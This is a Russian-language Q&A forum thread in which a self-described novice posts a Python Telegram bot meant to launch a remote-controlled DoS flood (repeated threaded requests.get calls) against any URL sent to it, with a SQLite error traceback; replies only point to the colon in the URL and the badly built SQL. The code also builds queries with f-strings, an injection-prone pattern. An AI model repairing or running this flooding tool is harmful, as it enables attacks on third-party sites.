Задать вопрос
@Yatagarashy

В чем ошибка моего кода?

Хотел сделать DOS ботика для телеграмма чтобы можно было пользоватся кодом на расстоянии, получилась какае-та ошибочка, если что таблица там уже есть с моим айди и ссылкой, строка doss в SQL отвечает у меня за "Запущен ли бот или нет?"

Сразу говорю, я в коде разбираюсь плохо, если это очевидная ошибка то простите, если я что-то назвал неправильно то не стоит агресировать, намекните в ответе, и да я мамкин кулхаЦкер

import threading
import requests
import sqlite3
import telebot

connect = sqlite3.connect('../dos.db')
bot = telebot.TeleBot(token)
cursor = connect.cursor()

cursor.execute("""CREATE TABLE IF NOT EXISTS dos(
        url TEXT,
        doss INTEGER,
        id INTEGER
    )""")
connect.commit()



def dos():
    connect = sqlite3.connect('../dos.db')
    cursor = connect.cursor()
    cursor.execute("SELECT doss FROM dos")
    buf = cursor.fetchone()[0]
    buf = int(buf)
    while buf == 1:
        cursor.execute(f"SELECT url FROM dos WHERE doss = 1")
        url = cursor.fetchone()[0]
        requests.get(url)
        cursor.execute("SELECT doss FROM dos")
        buf = cursor.fetchone()[0]
        buf = int(buf)
        print(buf)

@bot.message_handler()
def mess(message):
    connect = sqlite3.connect('../dos.db')
    cursor = connect.cursor()
    if message.text == "Стоп":
        cursor.execute(f"UPDADE dos SET doss = 0 WHERE id = {message.chat.id}")
        connect.commit()
        bot.send_message(message.chat.id, "DOS закончен")

    else:

        url = str(message.text)
        cursor.execute(f"UPDATE dos SET url = {url} WHERE id = {message.chat.id}")
        connect.commit()
        cursor.execute(f"UPDADE dos SET doss = 1 WHERE id = {message.chat.id}")
        connect.commit()
        bot.send_message(message.chat.id, "DOS начат")

        cursor.execute(f"SELECT doss FROM dos WHERE id = {message.chat.id}")
        bufer = cursor.fetchone()[0]
        bufer = int(bufer)
        while bufer == 1:
            threading.Thread(target=dos).start()


bot.polling(none_stop=True)


ну и вылазят какие-то ошибочки, мне бы решить самую последнюю:D

Traceback (most recent call last):
File "C:/Users/User/PycharmProjects/DDOS/main.py", line 59, in
bot.polling(none_stop=True)
File "C:\Users\User\PycharmProjects\DDOS\venv\lib\site-packages\telebot\__init__.py", line 618, in polling
self.__threaded_polling(non_stop, interval, timeout, long_polling_timeout, allowed_updates)
File "C:\Users\User\PycharmProjects\DDOS\venv\lib\site-packages\telebot\__init__.py", line 680, in __threaded_polling
raise e
File "C:\Users\User\PycharmProjects\DDOS\venv\lib\site-packages\telebot\__init__.py", line 640, in __threaded_polling
self.worker_pool.raise_exceptions()
File "C:\Users\User\PycharmProjects\DDOS\venv\lib\site-packages\telebot\util.py", line 143, in raise_exceptions
raise self.exception_info
File "C:\Users\User\PycharmProjects\DDOS\venv\lib\site-packages\telebot\util.py", line 89, in run
task(*args, **kwargs)
File "C:/Users/User/PycharmProjects/DDOS/main.py", line 44, in mess
cursor.execute(f"UPDATE dos SET url = {url} WHERE id = {message.chat.id}")
sqlite3.OperationalError: unrecognized token: ":"

Process finished with exit code 1
  • Вопрос задан
  • 221 просмотр
Подписаться 1 Средний Комментировать
Решения вопроса 1
AlexNest
@AlexNest Куратор тега Python
Работаю с Python/Django
1.Ошибки нужны чтобы их читать.
2.В ошибке четко сказано, что проблема в символе : который, судя по всему, находится в урле.
3.Перестатьне смотреть недоуроки и попытайтесь почитать документацию по работе с sqlite. То, как сейчас вы формируете запрос в корне неверно.
Ответ написан
Пригласить эксперта
Ответы на вопрос 1
Dr_Elvis
@Dr_Elvis Куратор тега Python
В гугле забанен
Ну тут явно есть какое-то решенице
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы